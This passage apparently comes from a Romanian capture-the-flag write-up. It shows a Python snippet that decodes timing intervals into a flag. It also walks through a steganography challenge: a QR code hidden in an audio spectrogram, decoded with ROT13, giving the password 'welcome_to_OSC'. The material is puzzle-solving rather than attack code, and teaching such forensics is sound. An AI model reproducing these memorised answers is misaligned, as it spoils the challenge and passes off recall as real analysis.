0.100706, 0.10078, 0.500526, 0.500158, 0.100488, 0.500576, 0.100581, 0.500639,
0.100298, 0.10098, 0.500796, 0.500255, 0.100724, 0.500347, 0.100406, 0.5006,
0.100362, 0.100227, 0.500498, 0.500607, 0.100296, 0.500186, 0.500559, 0.100298,
0.100713, 0.500664, 0.500298, 0.100494, 0.100203, 0.500642, 0.100533, 0.10042,
0.100251, 0.100544, 0.500608, 0.50042, 0.100797, 0.500836, 0.500293, 0.500217,
0.100616, 0.100477, 0.500616, 0.500541, 0.100205, 0.500232, 0.500518, 0.100559,
0.100558, 0.1002, 0.500631, 0.500576, 0.100428, 0.50044, 0.100739, 0.100345,
0.100298, 0.100588, 0.500402, 0.500151, 0.500224, 0.10035, 0.100713, 0.100217,
0.100337, 0.100289, 0.500298, 0.500288, 0.100483, 0.100347, 0.100171, 0.100181,
0.100226, 0.100598, 0.500583, 0.500648, 0.100369, 0.100464, 0.100281, 0.100155,
0.100305, 0.500752, 0.500359, 0.100376, 0.10052, 0.100398, 0.500913, 0.100205,
0.100169, 0.500587, 0.500463, 0.10035, 0.100748, 0.100436, 0.500615, 0.500627,
0.100182, 0.100516, 0.500695, 0.500591, 0.10054, 0.500701, 0.500711, 0.500489,
0.100672, 0.100448, 0.500654, 0.500528, 0.100221, 0.500203, 0.100693, 0.500576,
0.100773, 0.100393, 0.500428, 0.500665, 0.100656, 0.100656, 0.500548, 0.10054,
0.100414, 0.500383, 0.500268, 0.10039, 0.100444, 0.500199, 0.100416, 0.100163,
0.10031, 0.100461, 0.500584, 0.500352, 0.100373, 0.500417, 0.500391, 0.100222,
0.100524, 0.100352, 0.500605, 0.500669, 0.100343, 0.100502, 0.50056, 0.500236,
0.100322, 0.500289, 0.500429, 0.100184, 0.100329, 0.500229, 0.100213, 0.500208,
0.100617, 0.500525, 0.500375, 0.100368, 0.100581, 0.100209, 0.500549, 0.500191,
0.100534, 0.500261, 0.50059, 0.100518, 0.100527, 0.500439, 0.100695, 0.100197,
0.10049, 0.500307, 0.500225, 0.100177, 0.100204, 0.100705, 0.100565, 0.500534,
0.100502, 0.500639, 0.5002, 0.100473, 0.100701, 0.500343, 0.100218, 0.500619,
0.100549, 0.500554, 0.500207, 0.500267, 0.500408, 0.500288, 0.100616
]
threshold = 0.18
binary_data = ''.join(['1' if i > threshold else '0' for i in intervals])
print("Binary Data:")
print(binary_data)
ascii_data = ''.join([chr(int(binary_data[i:i+8], 2)) for i in range(0, len(binary_data), 8)])
ascii_data = ascii_data[:-1] + "}"
print("\nDecoded ASCII:")
print(ascii_data)
Digital Dust - Unraveling (Steganography)
Descriere:
1
2
3
4
Salut! Ești acum un investigator începător în lumea criminalisticii digitale și ai primit prima ta misiune importantă! Mentorul tău ți-a dat un fișier audio interesant pentru analiză. După ce s-a uitat puțin la el, mentorul bănuiește că cineva a ascuns o parolă secretă în acest fișier folosind o tehnică numită steganografie.
Misiunea ta, dacă alegi să o accepți, este să descoperi parola ascunsă și să răspunzi la câteva întrebări despre această investigație digitală. Succes!
Solutie
Fiind un challange de steganografie primul lucru la care m-am gândit este sa ma uit la spectrograma acestui fisier audio. Am deschis Audacity si s-a dovedit ca am avut dreptate.
Pentru a face codul qr mai vizibil am intrat în setările spectrogramei unde am setat scale: Linear
și scheme: Inverse grayscale
Am facut un screenshot micsorat al codului qr si l-am uplodat pe Qr Scanner unde am gasit si textul salvat.
Pentru a găsi cifrul folosit pentru a encoda mesajul CyberChef m-a ajutat enorm. Asa am gasit ca procesul de encodare este ROT13
, un algoritm cruptografic de tip substitutie
. Parola obtinuta dupa decodarea mesajului este welcome_to_OSC
.